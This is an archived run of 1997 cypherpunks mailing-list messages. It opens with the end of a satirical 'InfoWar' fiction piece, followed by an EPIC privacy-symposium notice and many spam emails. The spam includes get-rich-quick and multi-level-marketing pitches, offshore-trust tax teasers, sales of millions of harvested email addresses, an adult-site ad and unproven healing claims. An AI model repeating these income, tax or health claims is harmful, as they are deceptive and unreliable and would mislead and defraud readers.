was indeed the Last True CypherPunk, having grown up at their
feet, immersed in their logic and their lore, and whose whole
life had been ruled by his connection to the infamous anarchists
who had been, alternately, both the shining light of freedom and
privacy in their era, and the treacherous instigators of Channel
War II-the war which had led to the ultimate triumph of the Gomez
and the Dark Allies and the conclusive ascent of the Dark Forces
in their domination of WebWorld under the dictum of the Evil One.

The room was quiet as Jonathan reluctantly pulled up the next
passage of 'WebWorld' which had described his feelings when his
bereft past had come back to haunt him.

"Jonathan sat frozen in his seat, once again, his brain
locked from the major dichotomies being produced as a result of
his present-in which the CypherPunks were a villainous band of
rogues who had instigated the launching of Channel War II-and
his past, in which his grandfather had been exposed both as one
of the major players in both the launching of Channel War II,
and as traitorous scum who had sabotaged the goals of the CypherPunks
in that same historical battle.
"Jonathan's grandfather wasn't just a CypherPunk. He was
the Fool."


"We won..." Jonathan's voice trailed off,
before he rose from the table and repeated his statement, in anger.

"We won, damn it!
"I know we won. Grandfather knew we won the censorship
battle. Everyone knew that we won the censorship
battle. History itself knows that we won...we..."

Jonathan stopped short, turning to stare at the others, who were
staring back.

"Jonathan..." Bubba said softly. "History
has changed."

"I know that, damn it!" Jonathan resumed
his pacing, knowing that he was missing something very, very important,
but he couldn't for the life of him think what it might possibly
be.

The others in the room watched and waited, knowing that it was
Jonathan, and Jonathan alone, whose heritage was intricately and
irrevocably linked to the era in history which they had, for better
or worse, interfered in through their use of the Trei Transponder.

"Grandfather was a traitor to the CypherPunks...a traitor
to freedom and privacy. He sabotaged everything that the CypherPunks
had fought so hard to defend, since the inception of their anarchist,
cryptography mailing list.
  "But the CypherPunks loved us..."

Jonathan was lost in memories of a childhood in which he and his
family had been forced to remain in constant motion, staying a
half-step ahead of the Dark Allies, who had been hunting down
the last remaining members of the CypherPunks-with a vengeance.

His family had been soundly welcomed by the remaining CypherPunks,
in their flight to freedom after his Grandfather's assassination.
They had given the family food, clothing, shelter, and warned
them when the Dark Allies were closing in, and it was once again
time to flee. Duncan Frissell had even...
Perhaps they all had...

Jonathan sank to the floor, slowly, with Alexis leaping up and
catching him softly. Cowboy helped her guide him toward the table
and lower him into a chair.
Jonathan slowly pulled off his shirt and stared at his tattoo...the
Mark of the Toad.

"Duncan Frissell arrived at our last safe house, in the
middle of the night." Jonathan spoke, finally understanding
the real story behind his family's flight into obscurity.
"He warned us to flee, but it was too late...the Dark
Allies were close at hand."

Jonathan's voice was full of amazement as he recounted an event
which he had long known, but had never managed to fully understand.

"Duncan held the Dark Allies at bay, while we made our
escape. I can still hear his screams..." Jonathan
shuddered, then began shaking terribly. Alexis closed her arms
around him, hugging him lightly.

"Your Grandfather knew that the CypherPunks had
lost the battle." Bubba picked up the thread.
The other members of the Magic Circle looked on, mystified as
to this strange turn of events which turned the whole history
of the CypherPunks and the Circle of Eunuchs on hits head.

"It wasn't a censorship battle." the Cowboy said,
amazed as much by what he was saying as those listening to him
were.
"It was InfoWar!"

"That's what happened to InfoWar." Alexis
cried out, in disbelief of her own words. "It was over
before it had begun."

Bubba d'Shauneaux IV rose to his feet, and filled in the details
of the battle as could only be done by one who had spent a lifetime
of subterfuge playing a role which was the exact opposite of what
it had seemed to be from surface appearances.

"It was the first battle fought solely within the bounds
of Virtual Reality."

"It represented the true nadir point in history when the
battle between the Forces of Light and the Forces of Darkness
moved beyond the physical plane and into the minds of mankind."

"InfoWar!" he roared, the word
reverberated throughout the room, sending the Trei Transponder
into a soft hum which grew louder and louder, with a pitch that
went lower and lower until it became subsonic, unheard, but shaking
the room...the earth...even WebWorld itself...

The Trei Transponder exploded with a mighty boom, shaking the
room so violently that the tattered remnants of the Magic Circle
were thrown from their chairs,  and found themselves rising to
see only ruins around them, where their safe house had once been.
They immediately realized that they must flee at once, as those
investigating the explosion would undoubtedly be the Dark Allies,
fully aware that the event had rent WebWorld at the seams.

Jonathan paused, weapon in hand, covering the retreat of d'Shauneaux,
who had remained behind to remove the last traces of evidence
that the Circle of Eunuchs had ever truly been there.
As d'Shauneaux joined him, motioning for him to proceed, he took
one last look at the shattered remains of the Trei Transponder.
All contact with the CypherPunks of the past was now gone, with
little hope of it being renewed.

Silently, he sent a message to the CypherPunks of his youth-from
the bottom of his soul and into the inestimable profundity of
the Tao. It was a message that would be understood by those who
had been at Woodstock-a physical gathering of a Magic Circle which
had come into physical being through a random blessing of Time
and Chance.

"You're on you own, folks...because we're sure on ours."


Those who fail to learn from the future, are doomed
to repeat it.


"The Xenix Chainsaw Massacre"

"WebWorld & the Mythical Circle of Eunuchs"

"InfoWar (Part III of 'The True Story of the InterNet')

Soviet Union Sickle of Eunuchs Secret WebSite








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: xjlr56xcz@24540.com
Date: Thu, 9 Oct 1997 16:50:24 -0700 (PDT)
To: Friend@public.com
Subject: .
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


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===========================================================







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: xjlr56xcz@00799.com
Date: Thu, 9 Oct 1997 16:58:50 -0700 (PDT)
To: Friend@public.com
Subject: .
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


Turn Your Ideas, Interests or Hobbies into a Lifetime Income, with...


******* THE KITCHEN TABLE MILLIONAIRE *******


Special LIMITED TIME OFFER Includes "PowerSecrets"... FREE!


_/_/_/ The Secret of Financial Freedom _/_/_/

Find something you love so much you'd do it for nothing, develop and market it, and the world will shower you with wealth! It starts with "The Four D's..." Dream, Discover, Develop, and Do it!" THE KITCHEN TABLE MILLIONAIRE provides all the tools you need!

Home-based business is a $380 billion industry. Ironically, the same technology responsible for massive layoffs and unemployment makes it possible for the average individual to run a prosperous home business out of a spare bedroom, the garage or even, yes, the kitchen table!

60,000 new home businesses are started across America every week. That's one every 11 seconds. Average income is $50,000--twice the national average employee salary. Success rates over a 3-year period are an astounding 85 percent, compared with just 20 percent in the traditional small business sector. An astonishing 90 percent of all home-based businesses succeed in the first year!

The key to success is not quick-buck schemes or wild goose chases. You need proven INFORMATION and RESOURCES.

The Kitchen Table Millionaire is a revolutionary new book that provides the explosive techniques necessary to develop any idea, then target the widest possible market, and effectively sell to that market. You can get started right away, in just a few hours a day, without interfering with your present job.

You don't have to be lucky, well-educated or come from a rich family in order to be successful. A recent survey of successful business owners showed that only 3 percent came from wealthy families. Nearly 50% came from the ranks of the poor or lower middle class. Only 29 percent finished college.

Thomas Carlyle said, "The true university of these days is a collection of books." The Kitchen Table Millionaire is the only book you need!


_/_/_/ What the Experts Say _/_/_/

"This extraordinary book could change your life! It will open your eyes to opportunities that you cannot now imagine. You should get it, read it, and apply it in your life. You will be astonished!"
- Brian Tracy, best-selling author of MAXIMUM ACHIEVEMENT and THE PSYCHOLOGY OF SUCCESS

"The Kitchen Table Millionaire provides the nuts, bolts and ideas to help you achieve your dreams of home business success."
- Carolyn Tice, Executive Editor, Home Business News; American Home Business Assoc.

"This easy to use book goes much deeper than its competition--full of innovative, step-by-step  advice about how to get your project off the ground."
- Opportunity Magazine

"Having spent most of my adult life self-employed, I've been approached with more money making opportunities than I could possibly imagine. Everyone wants to sell me "the book that can change my life forever." I've seen them all. And I've been distinctly unimpressed. But The Kitchen Table Millionaire caught my attention... and kept it. Cochrane's advice is
based on tried and true strategies, that, for the most part, the experts have kept secret."
- Author Anthony Trupiano, in THE BEST DEALS IN AMERICA TODAY


_/_/_/ What Readers Say _/_/_/

"The book is clear, concise, and most of all, it works! After applying the strategies, my consulting business grossed $6,000 in a single month, and continues to flourish, thanks to you!"
- F. J. Procopio, California

"I just finished your book and thoroughly enjoyed it as well as gained a lot of new ideas and knowledge from your expertise. I have to admit my favorite line in the book is on page 7, "Even if you win the rat race, you're still a rat."
- M.D. Foster

"I've been suckered by more than a few schemes in my search for reliable home business information. I bought courses by Brad Richdale and Carlton Sheets, and was very disappointed with the information I received. You really do walk the talk."
 - K.W., Alberta, Canada

"It's nice to know there is more out there than just get-rich-quick schemes and real estate hucksters. Thank you so much!"
- J. Rapp, California

"If you can't make money from reading this book, you can't make money."
- A. Jacobellis, Texas


_/_/_/ Extraordinary Success Stories of Ordinary People... Like You! _/_/_/

A San Jose, CA woman started a mobile paper shredding business off the back of a truck--and grossed $180,000 in her first year! Anthony Raissen launched BreathAsure on a single radio station--for free--and turned it into a multi-million dollar empire, virtually overnight!

An 82-year old man comes up with novelty items like the "Good Egg" Award; a trophy with an egg on top, which he sells to manufacturers--who do all the work, and pay him a 5% royalty per sale!

Another California entrepreneur developed a method for pet lovers to document details of their animal's care, feeding, identification and vaccination records, using the identical color and design as real passports. After selling the idea to a large pet store chain, over 40,000 units have been sold nationwide, at $6.00 each!

A Utah woman ships packages containing a dozen chocolate chip cookies with a floral stem pushed through the middle. She started the business by advertising on in-flight airline magazines, taking orders by phone and shipping UPS. The result? $40,000 in sales the first year, with projected profits of $80,000 the next!

Is There Any Reason Why You Can't Do the Same?

The Kitchen Table Millionaire will show you how to use the proven, practical methods of successful entrepreneurs to build your financial independence... safely and inexpensively!

The Most Explosive Wealth Building Strategies in Existence:

- How to Turn Your Ideas Into Wealth
- Setting up and Registering Your Home-Based Business
- Invention Marketing... from A to Z
- Explosive Dynamarketing Strategies
- Financing: Venture Capital and Angels
- Mail Order Mastery
- Newspaper Classified Advertising
- Self-Publishing: How to Write Your Book Using Nothing But Some Loose Leaf Paper and a Tape Recorder!
- Cybermarketing on the Internet
- Electronic Direct Response: The Future of Marketing
- Per-Inquiry Advertising: How to Get Television, Radio and Print Ads with Little or No Cash
- Free Publicity in Newspapers, Radio and TV Nationwide
- Fairs and Trade Shows
- 900 Numbers: More than Just Sleaze and Psychics
- Auctions
- Paper Power: The Explosive New Real Estate Paradigm
- Financial Flourish: Keep Your Banker From Robbing You Blind
- Comprehensive Resource Directory
- And Much More!


Whether you've been searching for the right opportunity, or want to take your existing business into the stratosphere, The Kitchen Table Millionaire gives you the practical, proven techniques that will make success inevitable. But that's not all...

Order now during this exclusive offer and you'll also receive, FREE:

===> PowerSecrets!

- Save up to 90% on Air Travel
- 60% Savings on Five Star Hotel Rooms
- How to get Incredible Deals from Price Quote Companies
- Painlessly Pay Off a 30-Year Mortgage in Under 16 Years
- How to get Swift Results when You've Been Ripped Off
- How to Sell Your House Fast
- Slash Your Insurance Costs
- Lowest-Rate Credit Card Companies
- PowerSecrets for Boundless Energy
- Super Metabolism-Boosting Foods
- Triple Your Odds of Quitting Smoking
- Eliminate Hidden Toxins from Your Food
- Banish that Flabby Stomach... Permanently
- Get Professional Back Pain Relief Over the Telephone
- And Much More!


_/_/_/ Iron-Clad Guarantee _/_/_/

Your satisfaction with The Kitchen Table Millionaire is unconditionally guaranteed. There's no 30-day, 90-day or even a six month limit. If you're not 100% satisfied, simply return the book for a prompt refund.


_/_/_/ About the Author _/_/_/

P.W. Cochrane is an entrepreneur, broadcaster, speaker and home-based business consultant. He has appeared on television, radio and in print throughout North America--showing people how to turn their ideas into reality while avoiding the pitfalls of misinformation and schemes. Patrick resides in
La Jolla, California.

This is a limited time offer, and may be withdrawn without notice!

ORDER NOW!

Rush your check or money order for $19.95 U.S. ($16.95 + $3.00 s&h) to:

W&S Publishing
8070 La Jolla Shores Drive, Suite 243
La Jolla, CA 92037


=============== Print and Mail Order Form =====================

[  ] Yes! Enclosed is my check or money order for $19.95.
Please rush THE KITCHEN TABLE MILLIONAIRE and FREE
"PowerSecrets" bonus by Priority mail! I understand
if I'm not 100% satisfied I may return the book any
time for a full refund--there is no 30, 60 or even
90-day limit.


Name ____________________________________________


Address __________________________________________


City ______________________ State ______ Zip _________


*CA residents please add 8.25% sales tax.
**All U.S. orders promptly shipped by Priority mail.

===========================================================







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 15159495@21579.com.net.pk
Date: Thu, 9 Oct 1997 20:00:17 -0700 (PDT)
To: mailmaster@fish.net
Subject: Hi from the Girls
Message-ID: <6730057729034.43309@fish.net>
MIME-Version: 1.0
Content-Type: text/plain


Notice:

This is an adult site.  Access is limited to persons over 18.
If you are offended by things of a sexual nature DO NOT ENTER!!! But if you want to>>>

Find the youngest, hottest girls on the net!!!

Click on the highlighted text:

      http://youngnlusty.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Electronic Privacy Info Center <info@epic.org>
Date: Thu, 9 Oct 1997 15:30:45 -0700 (PDT)
To: Misc <info@epic.org>
Subject: Privacy Forum - Oct 20 - Washington DC
Message-ID: <v03110708b0630ae1f6b1@[204.91.138.218]>
MIME-Version: 1.0
Content-Type: text/plain


 - Open to the public -


                         PRIVACY SYMPOSIUM
                 Georgetown University Law Center
                          Washington, DC
                         October 20, 1997

A public symposium entitled "Privacy at the Crossroads: Law, Technology,
and Public Policy", will be held on October 20, 1997, at Georgetown
University Law Center in Washington, DC.

This symposium will look at emerging privacy issues in the legal and
technological world, with a particular focus on the European Union
Data Directive, privacy enhancing technologies, and the shape of
privacy protection in the next century.

These issues are rapidly coming to the fore with the adoption of the
European Union Directive and the increasing interest in techniques to
promote privacy protection, especially with the rapid flow and exchange of
information that is possible with electronic data.  Privacy has recently
been the subject of hearings before the Federal Trade Commission and it
is a central component of the new White House policy on Electronic
Commerce.

The symposium will take place on Monday, October 20, 1997, at the Gerwirz
Center of the Georgetown University Law Center, 600 New Jersey Avenue, NW,
Washington, DC.  The program will begin at 9 a.m. and conclude at 4 p.m.
Speakers will include many North American experts on privacy and technology
issues, including law professors, technologists, and commentators.

The symposium is sponsored by the Georgetown University Law Center, the
John F. Connelly Program in Business Ethics, Georgetown University School
of Business, the Communication, Culture, and Technology Program of
Georgetown University, and the Electronic Privacy Information Center.  This
is a free event open to the public.  No registration is required.

If you have any further questions, please contact Shauna Van Dongen at
<shauna@epic.org>.

Program

"PRIVACY AT THE CROSSROADS: LAW, TECHNOLOGY AND PUBLIC POLICY"

Georgetown University Law Center
Gewirz Student Center, 12th Floor
600 New Jersey Avenue, NW
Washington, DC
Monday, October 20, 9 a.m. - 4 p.m.


9:00 Welcome - Dean Allen, Prof. Levy, Prof. Drake, Prof. Rotenberg

9:15  The European Union Data Directive

Moderator: Deborah Hurley, Kennedy School of Government

Prof. David Flaherty, British Columbia Information and Privacy Commissioner
Robert Gellman, Information and Privacy Consultant
Prof. Priscilla Regan, George Mason University
Prof. Paul Schwartz, Brooklyn Law School
Prof. Peter Swire, Ohio State University College of Law

10:45  Privacy and Technology

Moderator: Prof. Michael Froomkin, Univ. of Miami Law School

Dr. Ann Cavoukian, Ontario Information and Privacy Commissioner
Prof. Gary Marx, Woodrow Wilson Center
Prof. Joel Reidenberg, Fordham Law School
Prof. Paul Resnick, University of Michigan
Peter Wayner, Cybertimes

12:15 Lunch

1:30  The Future of Privacy

Moderator: Dean Anita Allen, Georgetown University Law Center

Prof. Phil Agre, Univ. of California at San Diego
Prof. Mary Culnan, Georgetown Graduate School of Business
Prof. Helen Nissenbaum, Princeton University
Prof. Alan Westin, Columbia University

3:00-4:00 Reception

Sponsored by -
Georgetown University Law Center,
John F. Connelly Program in Business Ethics of the
Georgetown University School of Business,
Georgetown University Communication, Culture, and Technology Program
[http://www.georgetown.edu/grad/CCT/],
Electronic Privacy Information Center
[http://www.epic.org/]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 36592284@Compuserve.com
Date: Thu, 9 Oct 1997 18:04:01 -0700 (PDT)
To: Personal@server1.connectcorp.net
Subject: YOUR FREE 900 NUMBER
Message-ID: <199678631275.GAA0867@satlink.com>
MIME-Version: 1.0
Content-Type: text/plain


WE WILL GIVE YOU A  900# FREE!! The average income for a 900# manager is $17,500. per month.
  A 900# broker can earn thousands per week!  First months potential earnings $10,000 and more!
This is a legitimate offer with guaranteed results. Business is booming and we would like very much to
 help you get your share of this fantastic opportunity. We also provide bulk friendly web hosting
 at a price you won't believe, a free webpage, plus to much to mention here.  Don't wait.  Get
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Http://www.mallmaster.com/merchant/900/index.html
<A HREF=Http://"www.mallmaster.com/merchant/900/index.html">


click here to visit now</A>

I am sorry if you did not wish to receive this info. 
Sorry for the intrusion. This will be the only msg. you will receive. 
Thank You.




























From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: endeavor@bizmax.com
Date: Thu, 9 Oct 1997 22:44:50 -0700 (PDT)
Subject: ANY OF YOUR ANSWERS YES?
Message-ID: <199710100543.WAA21509@mailgate32>
MIME-Version: 1.0
Content-Type: text/plain


Hello,
I read your profile and thought that the following would be of
interest to you. You are not on a mailing list so if this does
not interest you there is no need to reply.

Any of Your Answers Yes?

Want to:
>Legally slash your business/personal taxes drastically?
>Protect any & all assets from any form of judgement?
>Learn how to preserve your personal privacy?
>Create a 6 figure income in the next 4-6 months?

Any of Your Answers No?
>Do you know how to make your "nest egg" work 3-5 times harder
 for you?
>Do you know how to set up off shore trusts and protect your
 owned property from liens & levies?
>Can you legally shelter all assets from all Taxes?

Find out more and learn how to accomplish all of these by calling:
            1-800-497-1799 (24 hr. recorded message)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: BIZ-BEST@profits.com
Date: Fri, 10 Oct 1997 04:58:41 -0700 (PDT)
To: WiseMan@profits.com
Subject: ANY OF YOUR ANSWERS YES?
Message-ID: <50992948_56182062>
MIME-Version: 1.0
Content-Type: text/plain



Hello,
I read your profile and thought that the following would be of
interest to you. You are not on a mailing list so if this does
not interest you there is no need to reply.

Any of Your Answers Yes?

Want to:
>Legally slash your business/personal taxes drastically?
>Protect any & all assets from any form of judgement?
>Learn how to preserve your personal privacy?
>Create a 6 figure income in the next 4-6 months?

Any of Your Answers No?
>Do you know how to make your "nest egg" work 3-5 times harder
 for you?
>Do you know how to set up off shore trusts and protect your
 owned property from liens & levies?
>Can you legally shelter all assets from all Taxes?

Find out more and learn how to accomplish all of these by calling:
            1-800-497-1799 (24 hr. recorded message)




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wealthy@profit.com
Date: Fri, 10 Oct 1997 12:53:11 -0700 (PDT)
To: investor@wealth.com
Subject: hey!
Message-ID: <653439045634ADR46591@com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
36 Year Old Man Discovers How To . . .
 . . GET $500 IN YOUR HANDS As Soon As Next Week!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The truth is stranger than fiction..."How I Make $200.00 A Day, 
Sitting At My Kitchen Table, In My Underwear!"

A COMPLETELY DIFFERENT APPROACH TO 
"NETWORK MARKETING" TOOK ME FROM BROKE TO 
$200.00 A DAY,WORKING FROM HOME,IN ONLY A FEW 
MONTHS - AND I'M CONVINCED ANYBODY CAN COPY 
WHAT I'M DOING!

(Why would any sane person reveal this kind of secret, if it 
was true? Read my message and find out.)

I'm 36 years old. My wife and I have 3 boys, all terrors. We 
live in the suburbs. I'm writing this article, sitting at my kitchen 
table in my boxer shorts and a T-shirt; I have  achieved the 
"fantasy" of making a ton of money from my own successful 
home-based business. I know it'll be tough for you to believe 
that you can do what I'm doing. But I hope you'll give me a 
chance. I may just be the guy to change your life around in 
a big, big way.

IF YOU HAD TOLD ME A YEAR AGO THAT I'D BE WRITING 
ANYTHING LIKE THIS, I'D HAVE LAUGHED IN YOUR 
FACE - BUT HERE I AM.

There is nothing more rewarding and fulfilling than owning 
and 	operating your own sucessful business. No where 
else on Earth can you get this kind of independence, security 
and freedom. Work when you want to work. Earn what you 
want to earn . . .  

You Can Have All This and MORE With Oour System - NOW!


With this system you are PROTECTED BY A SIMPLE 
GUARANTEE. And I would be an idiot to risk ruining a $
20,000-A-MONTH business to steal pocket change from you. 
Wouldn't that be incredibly stupid? 
So here's my guarantee to you: 

If you aren't 100% satisfied after receiving your first check, 
you can just return your check and your membership package 
and I will gladly refund your money! I simply will not have 
an unhappy member!

The bottom line is I want you to be as successful as I am. 
I want you to make moeny. I want you to get handfuls of 
checks. And I wanna see the look on your banker's face 
when you shove an envelope full of checks into his face!!!

I want to help you overcome all the obstacles. I want to 
teach you the "jealously guarded" secrets. I want to get 
YOU started with the network marketing company of 
the 21st century!!!


With this fast-growing company....

* You don't have to recruit friends and family!

* You don't have to wonder what to do! They maintain a 
professional staff of over 50 trained marketing consultants 
equipped to answer 	any and all questions and fully 
explain this  wonderful opportunity to your prospect's 
satisfaction (and your banker's delight!)

* You don't have to send out millions of letters!

* You don't have to call prospects on the phone!

* Your only job is to promote a toll-free 800 number!
 And if you can do this simple thing, YOU can make 
 YOUR FORTUNE!


Forget all the hooplah: the "rich" are not going to bear 
the burden of all the new taxes needed to cover social 
security shortfalls,healthcare,etc. - it's the middle class, 
middle income "wage slave' they have their sights on. 

YOU are the target. The only real way to fight back is to 
make so much darned money that what you have AFTER 
the damage is still fantastic. That's where I am. A whole lot 
of people join but never do anything about it, and I can't help 
that. But there ARE people just like you, who join, and then 
go on to make VERY big incomes. 

IT'S UP TO YOU. You can sit there and watch helplessly 
as Washington chews up your take home pay...or you can 
chase a silly pie-in-the-sky idea get rich quick scheme... 
or you can let me teach you a proven, truly practical way 
to jump up to such a HUGE INCOME that you can sit 
back and laugh at the politicians.Which is it going to be?


Take action NOW!!!  Make the call, sign up and...

WE'LL MAKE A FORTUNE TOGETHER!  

1-800-811-2141 (Mon - Sat) give them  Code# 26589 

After you join they'll send me your code # and contact info.
I will send you an EXTENSIVE marketing package that 
details all the secrets of network marketing!

Questions? Call 1-800-811-2141 , give them code #26589 .
 . They will be happy to answer any questions you may have! 
After all, we're on the same team!

After you get your code number, I'll be contacting you!



Not sure if you're gonna call?

Well, you can turn your back on me right now and ignore 
everything I've said - but why? Maybe my system can free 
you from money worries and day-to-day-drudgery forever. 
FIND OUT NOW!

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1-800-811-2141 (Mon - Sat) give them  Code# 26589
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~



I was given your name as someone likely to be interested in
becoming wealthy. If this was an error, please send me an
email at: stopmail@answerme.com
You will be put on a list of those who do not wish to become
financially independant.  Thanks again!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: webtech@lostvegas.com
Date: Fri, 10 Oct 1997 09:04:06 -0700 (PDT)
To: webtech@lostvegas.com
Subject: Free Email Software!
Message-ID: <199710101604.MAA01503@trek.alliance.net>
MIME-Version: 1.0
Content-Type: text/plain


//////////////////////////////////////////////////////////////////////////
                         Advertising  Secrets  Exposed !
Are you having a difficult time trying to promote your business on the Internet?
Have you posted classified ads with little or no response?

Well, if you'd like to know something that you could use with your present
business to make it Explode!

I have the answer to your business growth problems. Free Email Software!

Everybody's talking about Email Marketing!
A gold mine for those who can take advantage of mass Email Marketing.

Just imagine for a minute what this will mean to your business, being able to
reach thousands of new propects daily, with no cost to you.

We will give you a new software package called Freedom, absolutely Free, to
use in your business.

Now you will have, a do it yourself method of online advertising, that up till now
only the professional Internet Marketer had access to. And have a powerful
potential to target millions with simple click of your mouse.

And if you need fresh Email addresses, we have them on, 3.5 IBM disk. The
best prices on the Internet.

100,000 Addresses Oppty Seekers Only $29.95 Includes shipping and handling.
200,000 Addresses Oppty Seekers Only $39.95 Includes shipping and handling.
400,000 Addresses Oppty Seekers Only $49.95 Includes shipping and handling.

And for the serious Internet Marketer, 25 million plus!! Our company has one of
the largests databases on the Internet with over 25 million Email Addresses,
these are split up in many different categories, and rotated frequently, giving
you new addresses to choose from each time. This service allows you to access
our database of Email Addresses as much as you want, from our website. All
for only $199. No need to ever gather or purchase Email addresses again!!
But because of our special internet promotion for the month of August only,
you can purchase our E-Mail software program including 25 Million E-Mail
addresses, and including full time tech support, telephone number, for only
$99. for all orders received before Oct20/97

PRINT AND FILL OUT ORDER FORM BELOW
 
Yes! Please Rush Me Fresh Email Addresses, And My FREE Email Software.

Name______________________________________________________

Address____________________________________________________

City_________________________________State__________________
 
Zip____________________________Email________________________

Types Of Addresses Opportunity Seekers (   )  General  (   )

100,000 Addresses $29.95 Includes shipping&handling and Freedom Software.
200,000 Addresses $39.95 Includes shipping&handling and Freedom Software.
400,000 Addresses $49.95 Includes shipping$handling and Freedom Software.

25Million Addresses$99. From database Includes S&H and Freedom Software.
And full time tech support, by telephone, for all orders received by Oct15/97

Freedom Software Only. Send $10. To cover S&H. IBM 3.5 Floppy disk.

Bonus: Orders received before, Oct20/97 will receive another Software program
Free, called "CHECKER" that allows you to receive checks by Fax, Email, and Phone.
Sold over the Internet for $129. Free with your purchase of any or the above products!
Never lose another impulse sale again, for lack of, a credit card, or the slowness
of US mail.

Plus another bonus for MLMERS, not only are we going to give "CHECKER" and
FREEDOM to you, we will authorize you to give "FREEDOM and "CHECKER" to
your entire Downline, to use " FREE"

Just think what this will mean to your business, when you are able to give "FREEDOM"
and "CHECKER" to your entire Downline to use, for Free, or use for an incentive for
new recruits.
 
Payment: Check (  )  Money Order (  )  Cashier's CK (  )  Other (  )  U.S Funds 

Send Order Form Along With Payment: To
   
                                            REV TECH MARKETING
                                              2172 Kanoy ave
                                        Thomasville N.C 27360-8733
                                                   U.S.A.
                                                
                                                        

If you'd prefer not to receive any future mailings, just send an empty email to
 etech@ascella.net  with remove me in the subject line.                                     
      
Mail End.






 
                
 











                                                       
  

 

 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: adzam67@concentric.net
Date: Fri, 10 Oct 1997 20:41:53 -0700 (PDT)
To: adzam67@concentric.net
Subject: Roofing "Don't Be Ripped Off"
Message-ID: <199710110341.XAA02768@newman.concentric.net>
MIME-Version: 1.0
Content-Type: text/plain


///////////////////////////////////////////////////////////////////////////////
This Message was Composed using  E- Mail Software. If you wish to be removed from future mailings, please reply with the subject "Remove" and this software will automatically block you from their future mailings. Sorry for the intrusion!!
////////////////////////////////////////////////////////////////////////////////



Choosing a roofing contractor can be one of the most difficult decisions you will ever make. Bad workmanship, poor business practices, the lack of expertise, and the never ending hassle of unneeded come backs are often the rule. Meanwhile your property is suffering the damage.

BUT NO MORE!

Prominent roofer and current roofing contractor Jim Daniels shares all his secrets in 
"My Roofer" a widely read information guide to help you, the property owner, save hundreds or even thousands on your roof repair or new roof project. This easy to follow step by step guide will give you precise information on topics such as,

1- "Repair or new Roof" Know for yourself,  Don't be fooled by the roofer.
2- List of items your roofer should have before you hire him. 
3- Materials list and definitions.
4- Average cost list for labor and materials.
5- Tricks for hiding those ugly ceiling stains.
6- Yearly maintenance you can do to prolong the life of your roof.
7- Most common roof problems and how to fix them. (includes the removal of algae stains)
8- Access to our FREE live information line to assist you with your roofing questions.
9- Negotiating the deal.

This is but a few of the many money saving ideas that Jim shares with you in this guide.

Testimonial

" I got two bids on my roof for two leaks we had last winter. I was almost ready to get the roof replaced when I saw the ad for Jim's guide. I'm so glad I bought it! After about 10 minutes I knew I needed to find another roofer and get a third bid. After following the simple check list I almost found the leak my self and I was able to point out where it was coming from to the new contractor. He replaced two vent boots and my roof has not leaked since. Not only did I save over $2,200.00 by reading this guide but, I also got rid of some stains as well. THANKS JIM!!"

Lois Biglane
Gretna, LA. 


We have many stories like this but, we know that you may think that your too smart to get fooled. We hope you are but why risk it. Roofing is our business and we will ensure you that your money and property will be safe. Our guide cost less than a PIZZA FOR DINNER and it WILL save you money. In fact, if you do not save money we will refund you 100% of the purchase price. All that we ask is that you try at least one of our suggestions.  It's up to you!!  ORDER TODAY!!

Direct Mail Price:        $39.95


SPECIAL INTERNET PRICE:  $18.99    Save $20.96

PRINT THIS ORDER FORM AND MAIL IT IN TODAY!


E-mail me "My Roofer" for only $18.99 (.txt format)

Name _________________________________________

Address________________________________________

City___________________________________________

State______________ZIP_________________________

Phone_______________________ E.Mail______________________

ALL ORDERS IN U.S. FUNDS-
FOREIGN ORDERS ADD $15_______

TOTAL___________________________________________

I am paying by:

 Visa___MasterCard___Discovery____

CARD#___________________________________________

EXP DATE_______________

Check or Money order_______ (guide will still be e-mailed to you)

Allow 24 hours for e-mail orders and 7-10 days for mail in orders.

Order from:
JD Enterprises
PO Box 38073
Germantown, Tn. 38183
For more information please type "more info" in the subject of your return 
e-mail then ask any questions you like in the body of the mail.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Fri, 10 Oct 1997 15:39:45 -0700 (PDT)
Subject: No Subject
Message-ID: <199710102238.AAA01083@xs2.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain


~h

~h
~h
~h
~v




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 13993666@juno.com
Date: Sat, 11 Oct 1997 01:56:04 -0700 (PDT)
To: You&amp;I@anywhere.com
Subject: FREE HEALING SECRETS FROM THE BIBLE
Message-ID: <1882077.776@juno.com>
MIME-Version: 1.0
Content-Type: text/plain


An Amazing Rediscovery!

For over 6,000 years we've had FIFTY of the MOST POWERFUL
NATURAL HEALING AGENTS on the planet right in front of us
and we didn't even know it!!

NO, this information is not about herbs, minerals, enzymes, or anything
else that you are familiar with. 

FIND OUT
..What was uncovered in KING TUT'S TOMB.

..What is mentioned in the BIBLE 188 TIMES?

..What deals with over 500 MENTAL AND PHYSICAL PROBLEMS?

..What is the "MISSING LINK" IN NATURAL HEALING?

..What 8-year-old company recently began bringing these 
    healing secrets to the public through networking?

..What was voted "MOST POWERFUL AUDIOTAPE"
    for 1997?
 
Are you looking for a health and nutrition company that is TRULY
COMMITTED to YOU for health in BODY, MIND, AND SPIRIT?

IF SO CALL (800) 953-9234 Extension 10. LIVE OPERATORS 
ARE STANDING BY 24 HOURS A DAY!

WE'LL RUSH YOU OUR FREE INFORMATION PACK.
